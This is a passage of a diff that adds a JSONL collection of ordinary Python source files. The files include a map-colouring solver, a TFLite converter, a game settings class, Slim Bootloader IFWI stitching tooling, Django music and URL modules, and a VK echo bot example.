diff --git "a/402.jsonl" "b/402.jsonl"
new file mode 100644--- /dev/null
+++ "b/402.jsonl"
@@ -0,0 +1,629 @@
+{"seq_id":"460301343","text":"import importlib\n\nimport csvReader\nimport csv\nimport random\n\nselected_root_domain_values = list()\nstate_list = []\nfailed = False\nback_track_count = 0\nout = \"\"\n\n\ndef read_csv():\n    \"\"\"\n    The function reads the neighbor_state_dict from csv and sets state_domain_dict for the neighbor_state_dict read.\n    :return: 2 dictionaries, one mapping state and its neighbours and the other\n    mapping state and its state_domain_dict i.e valid assignable colors.\n    \"\"\"\n    global neighbor_state_dict, state_domain_dict\n    neighbor_state_dict, state_domain_dict = csvReader.read_csv()\n    global visited_node\n    visited_node = set()\n    global selected_dict\n    selected_dict = dict()\n    global selected_backtrack_node\n    selected_backtrack_node = set()\n\n\ndef forward_checking_lcv(failed_index, state_domain_dict, neighbor_state_dict, is_backtrack=False, parent_domain_to_be_chosen=None):\n    \"\"\"\n    The function implements Forward Checking Algorithm to solve\n    Map couloring problem\n    :param failed_index:Start Index during backtracking process.\n    :param state_domain_dict:Dictionary mapping states and their state_domain_dicts i.e List of legal colors available to be chosen.\n    :param neighbor_state_dict: Dictionary mapping states and their neigbours\n    :param is_backtrack: Flag to differentiate between backtracking process and the normal flow\n    :param parent_domain_to_be_chosen: Parent Domain to be chosen once the algorithm reaches the root node and restarts the algorithm\n    :return:\n    \"\"\"\n    global back_track_count\n    global failed\n    global out\n    key = state_list[0]\n    i = failed_index\n    while i < len(state_list):\n\n        previous_selected_parent_domain = None\n        key = state_list[i]\n        if len(state_domain_dict[key]) <= 0:\n            back_track_count += 1\n            out += key.lower() + \",\" + \"White\" + \"\\n\"\n            failed = True\n            failed_index = i\n            break\n        else:\n            failed = False\n        if key not in visited_node and len(state_domain_dict[key]) > 0:\n            if is_backtrack and selected_dict.get(key, None) is not None:\n                previous_selected_parent_domain = selected_dict.get(key).pop()\n                if previous_selected_parent_domain in state_domain_dict[key]:\n                    state_domain_dict[key].remove(previous_selected_parent_domain)\n                if len(selected_dict[key]) == 0:\n                    del selected_dict[key]\n            if parent_domain_to_be_chosen is not None and key == state_list[0]:\n                parent_domain = parent_domain_to_be_chosen\n                previous_selected_parent_domain = selected_root_domain_values[-1]\n            else:\n                parent_domain = lcv(key, state_domain_dict, neighbor_state_dict, selected_dict)\n            state_domain_dict[key].remove(parent_domain)\n            selected_dict.setdefault(key, list()).append(parent_domain)\n            visited_node.add(key)\n            for neighbours in neighbor_state_dict[key]:\n                if previous_selected_parent_domain is not None and previous_selected_parent_domain not in state_domain_dict[neighbours]:\n                    if neighbours in selected_dict.keys() and previous_selected_parent_domain not in selected_dict[neighbours]:\n                        state_domain_dict[neighbours].append(previous_selected_parent_domain)\n                if parent_domain in state_domain_dict[neighbours] and neighbours not in list(visited_node):\n                    state_domain_dict[neighbours].remove(parent_domain)\n        i += 1\n        out += key.lower() + \",\" + parent_domain + \"\\n\"\n    if failed:\n        length = len(list(selected_backtrack_node))\n        if length > 0:\n            last_element = list(sorted(selected_backtrack_node))[0]\n            failed_index = last_element - 1\n        else:\n            failed_index -= 1\n        while len(state_domain_dict[state_list[failed_index]]) <= 1:\n            failed_index -= 1\n        selected_backtrack_node.add(failed_index)\n        if failed_index > 0:\n            visited_node.clear()\n            forward_checking_lcv(failed_index, state_domain_dict, neighbor_state_dict, True, None)\n        else:\n            state_domain_dict_list = ['Red', 'Green', 'Blue', 'Yellow']\n            previous_root_values = selected_dict[state_list[0]]\n            selected_root_domain_values.extend(previous_root_values)\n            for previous_domain in selected_root_domain_values:\n                    state_domain_dict_list.remove(previous_domain)\n            if len(state_domain_dict_list) == 0:\n                return\n            read_csv()\n            forward_checking_lcv(0, state_domain_dict, neighbor_state_dict, True, state_domain_dict_list[0])\n    else:\n        pass\n\n\ndef lcv(key_state, state_domain, neighbour_list, selected_dict):\n    \"\"\"\n    :param key: The state for which color have to be selected\n    :param state_domain: Dictionary mapping states and their state_domain_dicts i.e List of legal colors available to be chosen.\n    :param neighbour_list: Dictionary mapping states and their neigbours\n    :return:\n    \"\"\"\n    num_neighbour_colors = 0\n    color_dict = dict()\n    for color in state_domain[key_state]:\n        for neighbour in neighbour_list[key_state]:\n            if neighbour not in selected_dict.keys():\n                if color in state_domain[neighbour]:\n                    if len(state_domain[neighbour]) - 1 == 0:\n                        color_dict[color] = float(\"inf\")\n                    else:\n                        num_neighbour_colors += len(state_domain[neighbour]) - 1\n\n        if color not in color_dict.keys():\n            color_dict[color] = num_neighbour_colors\n\n    return min(color_dict, key=lambda k: color_dict[k])\n\n\ndef main():\n    importlib.reload(csvReader)\n    read_csv()\n    global state_list\n    state_list = ['WA', 'OR', 'CA', 'NV', 'ID', 'MT', 'WY', 'UT', 'AZ', 'NM', 'CO', 'ND', 'SD', 'NE', 'KS', 'OK', 'TX', 'MN', 'IA', 'MO', 'AR', 'LA', 'MS', 'AL', 'FL', 'GA', 'SC', 'NC', 'TN', 'KY', 'VA', 'DE', 'MD', 'WV', 'OH', 'IN', 'IL', 'WI', 'MI', 'PA', 'NJ', 'CT', 'RI', 'NY', 'VT', 'NH', 'MA', 'ME', 'AK', 'HI', 'DC']\n    forward_checking_lcv(0, state_domain_dict, neighbor_state_dict)\n    print(\"Backtrack Count\", back_track_count)\n    return out\n","sub_path":"Map-Coloring-Problem- Intelligent Systems/MapColoringBackend-master/ForwardChecking_LCV.py","file_name":"ForwardChecking_LCV.py","file_ext":"py","file_size_in_byte":6277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"456516037","text":"# Run with TF 2.0+\nimport tensorflow as tf\nfrom tqdm import tqdm\nimport tensorflow_datasets as tfds\nimport cv2\nfrom glob import glob\nimport numpy as np\n# Convert the model.\n\ninput_height = 992\ninput_width = 1504\nh_to_w_ratio = input_height /input_width\nnum_calibration_steps = 20\n\n\ndef representative_dataset_gen():\n    sample_folder = glob('{}/*.*'.format('samples'))\n    data = [load_test_data(sample_file) for sample_file in tqdm(sample_folder)]\n    # data = tfds.load(data)\n\n    for _ in range(num_calibration_steps):\n        image = data.pop()\n        yield [image]\n\n\ndef load_test_data(image_path):\n    img = cv2.imread(image_path).astype(np.uint8)\n    img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n    img = crop(img)\n    img = preprocessing(img)\n    img = np.expand_dims(img, axis=0)\n    return img\n\ncrop_image = lambda img, x0, y0, w, h: img[y0:y0+h, x0:x0+w]\n\ndef crop(img):\n    h, w = img.shape[:2]\n    # if (h < input_height) or (w < input_width):\n    #     print(\"Error, please make sure the image is at least\" + str(input_width) + \"x\" + str(input_height))\n    #     return;\n    if (h != input_height) or (w != input_width):\n        if(h > w):\n            print(\"Error, please make sure the image is in landscape mode\")\n            return;\n        else:\n            crop_height = int(w * h_to_w_ratio)\n            height_middle_point = int(h / 2)\n            cropped_image = crop_image(img, 0, height_middle_point - int(crop_height / 2), w, crop_height)\n            return cropped_image.astype(np.float32)\n    else:\n        return img\n    \n\ndef preprocessing(img):\n    img = cv2.resize(img, (input_width, input_height))\n    print(input_width)\n    print(input_height)\n    return img/127.5 - 1.0\n\n\ndef save_images(images, image_path):\n    # return imsave(inverse_transform(images), size, image_path)\n    return imsave(inverse_transform(images.squeeze()).astype(np.uint8),  image_path)\n\ndef inverse_transform(images):\n    return (images+1.) / 2 * 255\n\n\ndef imsave(images, path):\n    # return misc.imsave(path, images)\n    return cv2.imwrite(path, cv2.cvtColor(images, cv2.COLOR_BGR2RGB))\n\n\nmodel = tf.saved_model.load('./')\nconcrete_func = model.signatures[\n  tf.saved_model.DEFAULT_SERVING_SIGNATURE_DEF_KEY]\n\n'''keep the ratio as close to 3/2 while being divisible by 32'''\nconcrete_func.inputs[0].set_shape([1, input_height, input_width, 3])\nconverter = tf.lite.TFLiteConverter.from_concrete_functions([concrete_func])\nconverter.optimizations = [tf.lite.Optimize.DEFAULT]\nconverter.representative_dataset = tf.lite.RepresentativeDataset(\n    representative_dataset_gen)\ntflite_model = converter.convert()\nopen(\"./converted_model.tflite\",\"wb\").write(tflite_model)\n","sub_path":"models/TFLite/saved_model_to_tflite_int_quantized.py","file_name":"saved_model_to_tflite_int_quantized.py","file_ext":"py","file_size_in_byte":2673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"125725262","text":"class Settings:\n    \"\"\"A class to store all settings for Alien Invasion.\"\"\"\n\n    def __init__(self):\n        \"\"\"Initialize the game's settings.\"\"\"\n        # Screen settings\n        self.screen_width = 1200\n        self.screen_height = 800\n        self.bg_colour = (30, 30, 14)\n\n        self.ship_limit = 3\n        self.ship_speed = 1.5\n\n        self.bullet_speed = 1.5\n        self.bullet_width = 3\n        self.bullet_height = 15\n        self.bullet_colour = (60, 60, 60)\n        self.bullets_allowed = 3\n\n        self.alien_speed = 1\n        self.fleet_drop_speed = 10\n        # fleet_direction of 1 represents right; -1 represents left.\n        self.fleet_direction = 1\n\n        # How quickly the game speeds up\n        self.speedup_scale = 1.1\n\n        self.initialize_dynamic_settings()\n\n    def initialize_dynamic_settings(self):\n        \"\"\"Initialize settings that change throughout the game.\"\"\"\n        self.ship_speed = 1.5\n        self.bullet_speed = 3.0\n        self.alien_speed = 1.0\n\n        # fleet_direction of 1 represents right; -1 represents left.\n        self.fleet_direction = 1\n\n        # Scoring\n        self.alien_points = 50\n\n    def increase_speed(self):\n        \"\"\"Increase speed settings.\"\"\"\n        self.ship_speed *= self.speedup_scale\n        self.bullet_speed *= self.speedup_scale\n        self.alien_speed *= self.speedup_scale\n\n    def _print_settings(self):\n        print(f'Ship speed: {self.ship_speed} - Bullet speed: {self.bullet_speed} - Alien speed: {self.alien_speed}\\n')\n","sub_path":"alien_invasion/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"516223979","text":"'''\r\nfirst strip out the constant and coefficent, \r\nperform a simple simplication\r\nreturn as string \r\n'''\r\n\r\ndef parser(a):\r\n    a_a = a.index('+')\r\n    a_a_num = int(a[:a_a] )\r\n    a_b_num = int(a[a_a+1:-1])\r\n        \r\n    return  a_a_num, a_b_num\r\n\r\nclass Solution(object):\r\n    \r\n    def complexNumberMultiply(self, a, b):\r\n        \"\"\"\r\n        :type a: str\r\n        :type b: str\r\n        :rtype: str\r\n        \"\"\"\r\n        first_a, first_b = parser(a)                        \r\n        second_a, second_b = parser(b)       \r\n        \r\n        val_1 = first_a * second_a\r\n        val_2 = (first_a * second_b) + (first_b * second_a) # i coefficent\r\n        val_3 = first_b * second_b * -1 # i^2 coefficent \r\n        return str(val_1 + val_3 )+ \"+\"+str(val_2) + \"i\"","sub_path":"LeetCode/ComplexNumberMultiply.py","file_name":"ComplexNumberMultiply.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"347970121","text":"## @ StitchIfwi.py\n#  This is a python stitching script for Slim Bootloader TGL build\n#\n# Copyright (c) 2019 - 2022, Intel Corporation. All rights reserved. <BR>\n# SPDX-License-Identifier: BSD-2-Clause-Patent\n#\n##\n\nimport sys\nimport os\nimport re\nimport imp\nimport struct\nimport argparse\nimport zipfile\nimport shutil\nimport glob\nimport shlex\nimport subprocess\nimport xml.etree.ElementTree as ET\nfrom   xml.dom import minidom\nfrom   ctypes  import *\nfrom   subprocess   import call\nfrom   StitchLoader import *\nfrom   security_stitch_help  import *\nsys.dont_write_bytecode = True\n\n\n# sign_bin_flag can be set to false to avoid signing process. Applicable for Btg profile 0\nsign_bin_flag = True\n\nsblopen_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../../'))\nif not os.path.exists (sblopen_dir):\n    sblopen_dir = os.getenv('SBL_SOURCE', '')\nif not os.path.exists (sblopen_dir):\n    raise  Exception(\"Please set env 'SBL_SOURCE' to SBL open source root folder\")\n\ndef gen_xml_file(stitch_dir, stitch_cfg_file, btg_profile, plt_params_list, platform, tpm):\n    print (\"Generating xml file .........\")\n\n    fit_tool     = os.path.join (stitch_dir, 'Fit', 'fit')\n    new_xml_file = os.path.join (stitch_dir, 'Temp', 'new.xml')\n    updated_xml_file = os.path.join (stitch_dir, 'Temp', 'updated.xml')\n    sku = stitch_cfg_file.get_platform_sku().get(platform)\n    cmd = [fit_tool, '-sku', sku, '-save', new_xml_file, '-w', os.path.join (stitch_dir, 'Temp')]\n    run_process (cmd)\n\n    tree = ET.parse(new_xml_file)\n\n    xml_change_list = stitch_cfg_file.get_xml_change_list (platform, plt_params_list)\n    for each in xml_change_list:\n        for xml_path, value in each:\n            node = tree.find('%s' % xml_path)\n            node.set('value', value)\n            print (value)\n\n    tree.write(updated_xml_file)\n\ndef replace_component (ifwi_src_path, flash_path, file_path, comp_alg, pri_key):\n    print (\"Replacing components.......\")\n    work_dir = os.getcwd()\n    ifwi_bin = bytearray (get_file_data (ifwi_src_path))\n    ifwi = IFWI_PARSER.parse_ifwi_binary (ifwi_bin)\n\n    # assume a flash map path first\n    comp_name     = ''\n    replace_comps = IFWI_PARSER.locate_components (ifwi, flash_path)\n    if len(replace_comps) == 0:\n        # assume a container path if not in flash map\n        nodes      = flash_path.split('/')\n        comp_name  = nodes[-1]\n        flash_path = '/'.join(nodes[:-1])\n        replace_comps = IFWI_PARSER.locate_components (ifwi, flash_path)\n\n    if len(replace_comps) == 0:\n        raise Exception (\"Could not locate component '%s' !\" % flash_path)\n\n    if len(replace_comps) > 1:\n        raise Exception (\"Multiple components were located for '%s' !\" % flash_path)\n\n    replace_comp = replace_comps[0]\n    if comp_name:\n        # extract container image\n        container_file = os.path.join(work_dir, 'CTN_%s.bin') % comp_name\n        gen_file_from_object (container_file, ifwi_bin[replace_comp.offset:replace_comp.offset + replace_comp.length])\n        comp_file     = os.path.join(work_dir, file_path)\n\n        if os.name == 'nt':\n            tool_bin_dir  = os.path.join(sblopen_dir, \"BaseTools\", \"Bin\", \"Win32\")\n        else:\n            tool_bin_dir  = os.path.join(sblopen_dir, \"BaseTools\", \"BinWrappers\", \"PosixLike\")\n        gen_container = os.path.join(sblopen_dir, \"BootloaderCorePkg\" , \"Tools\", \"GenContainer.py\")\n        if not os.path.isabs(pri_key):\n            pri_key = os.path.join (work_dir, pri_key)\n        cmd_line = [sys.executable, gen_container, 'replace', '-i', container_file, '-o', container_file, '-n', comp_name,\n                                    '-f', comp_file, '-c', comp_alg, '-k', pri_key, '-td', tool_bin_dir]\n        run_process (cmd_line, True)\n        comp_bin = bytearray (get_file_data (container_file))\n    else:\n        # replace directly in flash map\n        comp_bin = bytearray (get_file_data (file_path))\n    IFWI_PARSER.replace_component (ifwi_bin, comp_bin, flash_path)\n    gen_file_from_object (ifwi_src_path, ifwi_bin)\n\ndef replace_components (ifwi_src_path, stitch_cfg_file):\n    print (\"Replacing components.......\")\n    replace_list = stitch_cfg_file.get_component_replace_list ()\n    for flash_path, file_path, comp_alg, pri_key in replace_list:\n        replace_component (ifwi_src_path, flash_path, file_path, comp_alg, pri_key)\n\ndef stitch (stitch_dir, stitch_cfg_file, sbl_file, btg_profile, plt_params_list, platform_data, platform, tpm, full_rdundant = True):\n    temp_dir = os.path.abspath(os.path.join (stitch_dir, 'Temp'))\n    if os.path.exists(temp_dir):\n        shutil.rmtree(temp_dir, ignore_errors=True)\n    shutil.copytree (os.path.join (stitch_dir, 'Input'), temp_dir)\n\n    # Get bios region image ready\n    sbl_image_ext = os.path.splitext(sbl_file)\n\n    if sbl_image_ext[1] != \".zip\":\n        print (\"\\nCopy SBL image %s for stitch\" % sbl_file)\n        shutil.copy(sbl_file, os.path.join(temp_dir, \"SlimBootloader.bin\"))\n    else:\n        print (\"\\nUnpack files from zip file ...\")\n        zf = zipfile.ZipFile(sbl_file, 'r', zipfile.ZIP_DEFLATED)\n        zf.extractall(temp_dir)\n        zf.close()\n\n    if platform_data:\n        fd = open(os.path.join(temp_dir, \"SlimBootloader.bin\"), \"rb\")\n        input_data = bytearray(fd.read())\n        fd.close()\n        print (\"\\n Adding platform data to Slimbootloader ...\")\n        data = add_platform_data(input_data, platform_data)\n        fd = open(os.path.join(temp_dir, \"SlimBootloader.bin\"), \"wb\")\n        fd.write(data)\n        fd.close()\n\n    print(\"Replace components in both partitions....\")\n    replace_components (os.path.join(temp_dir, \"SlimBootloader.bin\"), stitch_cfg_file)\n\n    # Generate xml\n    gen_xml_file(stitch_dir, stitch_cfg_file, btg_profile, plt_params_list, platform, tpm)\n\n    if sign_bin_flag:\n        update_btGuard_manifests(stitch_dir, stitch_cfg_file, btg_profile, tpm)\n    else:\n        shutil.copy(os.path.join(temp_dir, \"SlimBootloader.bin\"), os.path.join(temp_dir, \"BiosRegion.bin\"))\n\n    print (\"Run fit tool to generate ifwi.........\")\n    run_process (['./Fit/fit', '-b', '-o', 'Temp/Ifwi.bin', '-f', os.path.join (temp_dir, 'updated.xml'),\n        '-s', temp_dir, '-w', temp_dir, '-d', temp_dir])\n    return 0\n\ndef get_para_list (plt_para):\n    para_lst  = dict()\n    for idx, para in enumerate(plt_para):\n        items    = para.split(':')\n        item_cnt = len(items)\n        para_lst.update( {items[0] : None if (item_cnt == 1) else items[1].strip()})\n    return para_lst\n\ndef main():\n    hexstr = lambda x: int(x, 16)\n    ap = argparse.ArgumentParser()\n    ap.add_argument('-p', dest='platform', default = '', help='specify platform sku to stitch')\n    ap.add_argument('-w', dest='work_dir', default = '', help='specify stitch workspace directory, CSME tools and ingredients should be here')\n    ap.add_argument('-c', dest='config_file', type=str, required=True, help='specify the platform specific stitch config file')\n    ap.add_argument('-s', dest='sbl_file', type=str, default='stitch_Components.zip', help='specify slim bootloader file or generate zip file')\n    ap.add_argument('-b', dest='btg_profile', default = 'vm', choices=['legacy', 'vm', 'fve', 'fvme'], help='specify Boot Guard profile type')\n    ap.add_argument('-d', dest='plat_data', type=hexstr, default=None, help='Specify a platform specific data (HEX, DWORD) for customization')\n    ap.add_argument('-r', dest='remove', action = \"store_true\", default = False, help = \"delete temporary files after stitch\")\n    ap.add_argument('-t', dest='tpm', default = 'ptt', choices=['ptt', 'dtpm', 'none'], help='specify TPM type')\n    ap.add_argument('-o', dest='option', default = '', help = \"Platform specific stitch option. Format: '-o option1;option2;...' For each option its format is 'parameter:data'. Try -o help for more information\")\n    ap.add_argument('-op', dest='outpath', default = '', help = \"Specify path to write output IFIW and signed bin files\")\n\n    args = ap.parse_args()\n\n    stitch_cfg_file = imp.load_source('StitchIfwiConfig', args.config_file)\n    if args.work_dir == '':\n        print (\"Please specify stitch work directory\")\n        print ('%s' % stitch_cfg_file.extra_usage_txt)\n        return 1\n\n    sku_dict = stitch_cfg_file.get_platform_sku()\n    if len (sku_dict) == 1 and args.platform == '':\n        for sku in sku_dict:\n            args.platform =  sku\n            print (\"No sku is given, set to default sku value %s\" % sku)\n    if args.platform == '' or args.platform not in sku_dict:\n        print (\"Invalid sku (%s), Please provide valid sku:\" % args.platform)\n        for sku in sku_dict :\n            print (\" %s - 'For %s'\" % (sku, sku_dict[sku]))\n        return 1\n\n    if args.btg_profile in [\"vm\",\"fvme\"] and args.tpm == \"none\":\n        print (\"ERROR: Choose appropriate Tpm type for BootGuard profile 3 and 5\")\n        return 1\n\n    plt_params_list = get_para_list (args.option.split(';'))\n    if not stitch_cfg_file.check_parameter(plt_params_list):\n        exit (1)\n\n    print (\"Executing stitch.......\")\n    curr_dir = os.getcwd()\n    sbl_file = os.path.abspath(os.path.join (curr_dir, args.sbl_file))\n\n    work_dir = os.path.abspath (args.work_dir)\n    os.chdir(work_dir)\n    if stitch (work_dir, stitch_cfg_file, sbl_file, args.btg_profile, plt_params_list, args.plat_data, args.platform, args.tpm):\n        raise Exception ('Stitching process failed !')\n    os.chdir(curr_dir)\n\n    generated_ifwi_file = os.path.join(work_dir, 'Temp', 'Ifwi.bin')\n    ifwi_file_name = os.path.join(args.outpath,'sbl_ifwi_%s.bin' % (args.platform))\n    shutil.copy(generated_ifwi_file, ifwi_file_name)\n\n    generated_signed_sbl =  os.path.join(work_dir, 'Temp', 'SlimBootloader.bin')\n    sbl_file_name = os.path.join(args.outpath,'SlimBootloader_%s.bin' % (args.platform))\n    shutil.copy(generated_signed_sbl, sbl_file_name)\n\n    print (\"\\nIFWI Stitching completed successfully !\")\n    print (\"Boot Guard Profile: %s\" % args.btg_profile.upper())\n    print (\"IFWI image: %s\\n\" % ifwi_file_name)\n    if args.remove:\n        shutil.rmtree(os.path.join(work_dir, 'Temp'), ignore_errors=True)\n    return 0\n\nif __name__ == '__main__':\n    sys.exit(main())\n","sub_path":"Platform/TigerlakeBoardPkg/Script/StitchIfwi.py","file_name":"StitchIfwi.py","file_ext":"py","file_size_in_byte":10158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"549114584","text":"import os.path\nfrom django.db import models\nfrom django.core.urlresolvers import reverse\nfrom django.core.files.base import ContentFile\nfrom django.dispatch import receiver\nimport taglib\nfrom mutagen import File\n\nclass Album(models.Model):\n\tname = models.CharField(max_length=64,default=\"\")\n\t\n\tdef get_absolute_url(self):\n\t\treturn reverse('album.detail', args=[str(self.id)])\n\nclass Artist(models.Model):\n\tname = models.CharField(max_length=64,default=\"\")\n\t\nclass Track(models.Model):\n\tTYPE_MP3 = \"audio/mpeg\"\n\tTYPE_OGG = \"audio/ogg\"\n\tFILE_TYPES = (\n\t\t(TYPE_MP3,\"mp3\"),\n\t\t(TYPE_OGG,\"ogg\"),\n\t)\n\tartwork = models.ImageField(upload_to='music/tracks')\n\ttitle = models.CharField(max_length=64,default=\"\")\n\talbum = models.ForeignKey(Album, on_delete=models.CASCADE, null = True)\n\tartist = models.CharField(max_length=64,default=\"\")\n\tgenre = models.CharField(max_length=64,default=\"\")\n\tname = models.CharField(max_length=50,default=\"\")\n\ttype =  models.CharField(max_length=20, choices=FILE_TYPES)\n\tfile = models.FileField(upload_to='music/tracks')\n\t\n\tdef get_absolute_url(self):\n\t\treturn reverse('track.detail', args=[str(self.id)])\n\t\n\t\n\tdef updateMetadataSave(self):\n\t\tself.updateMetadata()\n\t\tself.save()\n\t\n\tdef setFieldFromTags(self,tags,tag_title,field_name):\n\t\tif tags.get(tag_title) != None:\n\t\t\tfield = ''\n\t\t\tfor tag_title in tags.get(tag_title):\n\t\t\t\tfield = getattr(self, field_name)\n\t\t\t\tfield = ''\n\t\t\t\tfield += tag_title + ' '\n\t\t\tsetattr(self, field_name, field)\n\n\tdef updateMetadata(self):\n\t\tsong = taglib.File(self.file.path)\t\t\n\t\tself.setFieldFromTags(song.tags,'TITLE','title')\n\t\tif song.tags.get('ALBUM') != None:\n\t\t\tfor album_name in song.tags.get('ALBUM'):\n\t\t\t\ttry:\n\t\t\t\t\talbum = Album.objects.get(name=album_name)\n\t\t\t\t\tself.album = album\n\t\t\t\texcept Album.DoesNotExist:\n\t\t\t\t\tnew_album = Album(name=album_name)\n\t\t\t\t\tnew_album.save()\n\t\t\t\t\tself.album = new_album\n\n\t\tself.setFieldFromTags(song.tags,'ARTIST','artist')\n\t\tself.setFieldFromTags(song.tags,'GENRE','genre')\n\t\tfile = File(self.file.path)\n\t\tif file.tags != None:\n\t\t\tfor tag in file.tags:\n\t\t\t\tif tag.startswith(\"APIC\"):\n\t\t\t\t\tartwork = file.tags[tag].data\n\t\t\t\t\tself.artwork.save('art.jpg',ContentFile(artwork))\n\t\t\t\t\tbreak\n\n\t\tfileName, fileExtension = os.path.splitext(self.file.name)\n\t\tif(fileExtension == '.mp3'):\n\t\t\tself.type = self.TYPE_MP3\n\t\telif(fileExtension == '.ogg'):\n\t\t\tself.type = self.TYPE_OGG\n","sub_path":"wolf_services/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"72166452","text":"from .scholix_v1 import api_v1\n\n\nlinks_from_datasource_parser = api_v1.parser()\nlinks_from_datasource_parser.add_argument('datasource', required=True,\n                                          help=\"Filter Scholix relationships collected from a LinkProvider\")\nlinks_from_datasource_parser.add_argument('page', required=False, help=\"select page of result\")\n\nlinks_from_pid_parser = api_v1.parser()\nlinks_from_pid_parser.add_argument(\"pid\", required=True, help=\"persistent Identifier\")\nlinks_from_pid_parser.add_argument(\"pidType\", required=False, help=\"persistent Identifier Type\")\nlinks_from_pid_parser.add_argument(\"targetPidType\", required=False,\n                                   help=\"typology target filter should be publication, dataset or unknown\")\nlinks_from_pid_parser.add_argument(\"datasourceTarget\", required=False,\n                                   help=\"a datasource provenace filter of the target relation\")\nlinks_from_pid_parser.add_argument(\"page\", required=False, help=\"select page of result\")\n\nlinks_from_publisher_parser = api_v1.parser()\nlinks_from_pid_parser.add_argument(\"publisher\", required=True, help=\"publisher name\")\nlinks_from_publisher_parser.add_argument(\"page\", required=False, help=\"select page of result\")","sub_path":"apis/v1/parser_arguments.py","file_name":"parser_arguments.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"603850950","text":"# module for textadvzix\n\n\n# represents the user\nclass User:\n    def __init__(self, name, x=0, y=0):\n        self.name = name\n        self.x = x\n        self.y = y\n        self.coords = str(x) + \"x\" + str(y)\n","sub_path":"User.py","file_name":"User.py","file_ext":"py","file_size_in_byte":207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"384601383","text":"\"\"\"\nBasic group long polling example.\n\nCaution: don't store credentials and settings in your git. Use env variables or config file\nWe set it here to simplify the example.\n\n\n\"\"\"\nfrom avkapi import VK\nfrom avkapi import types\nfrom avkapi.dispatcher import Dispatcher\nfrom avkapi.utils.executor import start_polling\n\n# Set your VK credentials.\nVK_ACCESS_TOKEN = '2e37d9dd8f06e2ccf8dae5'\nVK_GROUP_ID = 123456\n\n\n# Create vk instance\n# You can use it for simple calling VK API methods\nvk = VK(access_token=VK_ACCESS_TOKEN)\n\n# Create dispatcher instance\n# You need to use a dispatcher for handling incoming messages from your users\ndp = Dispatcher(vk)\n\n\n@dp.message_handler(content_types=types.MessageType.MESSAGE_NEW)\nasync def echo_handler(message: types.Message):\n    \"\"\" Handler catches all incoming messages and sends back the same. \"\"\"\n    # calling message.send method\n    await vk.messages.send(message=message.text, peer_id=message.peer_id)\n\n\nasync def shutdown(_: Dispatcher):\n    \"\"\" Graceful application shutdown. \"\"\"\n    await vk.close()\n\n\nif __name__ == '__main__':\n    start_polling(dp, group_id=VK_GROUP_ID, on_shutdown=shutdown)\n\n","sub_path":"examples/echo_bot_polling.py","file_name":"echo_bot_polling.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"213411493","text":"from django.conf.urls import include\nfrom django.contrib import admin\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.views import LoginView, LogoutView\nfrom django.urls import path\nfrom django.views.generic.base import RedirectView\nfrom drf_spectacular.views import (\n    SpectacularAPIView,\n    SpectacularRedocView,\n    SpectacularSwaggerView,\n)\n\nfrom auth.views.authtoken import authtoken\nfrom rr.routers import router\nfrom rr.views.attribute import attribute_admin_list, attribute_list, attribute_view\nfrom rr.views.certificate import (\n    certificate_admin_list,\n    certificate_info,\n    certificate_list,\n)\nfrom rr.views.contact import contact_list\nfrom rr.views.email import email_list\nfrom rr.views.endpoint import endpoint_list\nfrom rr.views.login import ShibbolethLoginView, logout_redirect\nfrom rr.views.metadata import metadata, metadata_import, metadata_management\nfrom rr.views.redirecturi import redirecturi_list\nfrom rr.views.serviceprovider import (\n    BasicInformationUpdate,\n    BasicInformationView,\n    LdapServiceProviderCreate,\n    LdapTechnicalInformationUpdate,\n    OidcServiceProviderCreate,\n    OidcTechnicalInformationUpdate,\n    SAMLAdminList,\n    SamlServiceProviderCreate,\n    SamlTechnicalInformationUpdate,\n    ServiceProviderDelete,\n    ServiceProviderList,\n)\nfrom rr.views.sp_errors import sp_error\nfrom rr.views.spadmin import activate_key, admin_list\nfrom rr.views.statistics import statistics_list, statistics_summary_list\nfrom rr.views.testuser import testuser_attribute_data, testuser_list\nfrom rr.views.usergroup import usergroup_list\n\n# Overwrite default status handlers\nhandler400 = \"rr.views.handlers.bad_request\"\nhandler403 = \"rr.views.handlers.permission_denied\"\nhandler404 = \"rr.views.handlers.page_not_found\"\nhandler500 = \"rr.views.handlers.server_error\"\n\nurlpatterns = [\n    path(\"api/v1/\", include(router.urls)),\n    path(\"api/schema/\", SpectacularAPIView.as_view(), name=\"schema\"),\n    path(\"api/schema/swagger/\", SpectacularSwaggerView.as_view(url_name=\"schema\"), name=\"swagger-ui\"),\n    path(\"api/schema/redoc/\", SpectacularRedocView.as_view(url_name=\"schema\"), name=\"redoc\"),\n    path(\"swagger/\", RedirectView.as_view(url=\"/api/schema/swagger/\")),\n    path(\"admin_django/doc/\", include(\"django.contrib.admindocs.urls\")),\n    path(\"admin_django/\", admin.site.urls),\n    path(\"\", login_required(ServiceProviderList.as_view()), name=\"front-page\"),\n    path(\"authtoken/\", authtoken, name=\"auth-token\"),\n    path(\"login/\", LoginView.as_view(), name=\"login\"),\n    path(\"login/shibboleth/\", ShibbolethLoginView.as_view(), name=\"shibboleth-login\"),\n    path(\"logout/\", logout_redirect, name=\"logout\"),\n    path(\n        \"logout/local/\",\n        LogoutView.as_view(template_name=\"registration/logout.html\", redirect_field_name=\"return\"),\n        name=\"logout-local\",\n    ),\n    path(\"list/\", login_required(ServiceProviderList.as_view()), 